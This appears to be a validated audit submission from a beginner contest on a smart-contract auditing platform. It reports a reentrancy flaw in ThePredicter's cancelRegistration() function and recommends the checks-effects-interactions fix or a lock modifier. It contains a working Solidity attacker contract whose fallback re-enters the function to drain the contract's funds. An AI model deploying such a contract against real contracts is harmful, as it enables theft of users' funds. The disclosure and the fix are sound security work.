First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy attack possible in `ThePredictor::cancelRegistration()` function, `user` can drain all fund in the contract

abdxzi

Summary

ThePredictor::cancelRegistration() makes external call before doing state changes, making it a reentrancy vector. A smart contract contract registered as user can use this function to steal complete fund from this contract.

Vulnerability Details

The user can also be a contract. Attacker can use a smart contrcat with a fallback function as below to register and calcel registration. It will result the draining of funds.

// Attacker.sol
pragma solidity 0.8.20;
​
import {ThePredictor} from "./ThePredictor.sol";
​
contract ReentrancyAttacker {
ThePredictor predictor;
​
constructor(ThePredictor _predictor) {
predictor = _predictor;
}
​
function attack() public payable {
predictor.register();
predictor.cancelRegistration();
}
​
fallback() external payable {
if (address(predictor).balance >= 0 ether) {
predictor.cancelRegistration();
}
}
}

Impact

Loss of complete fund in smart contract

Tools Used

No tools used

Recommendations

  1. Follow CEI (Check -> Effect -> interaction) rule (Make external call only after state change)

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}

  1. Use lock modifier

Updates

Lead Judging Commences

NightHawK Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.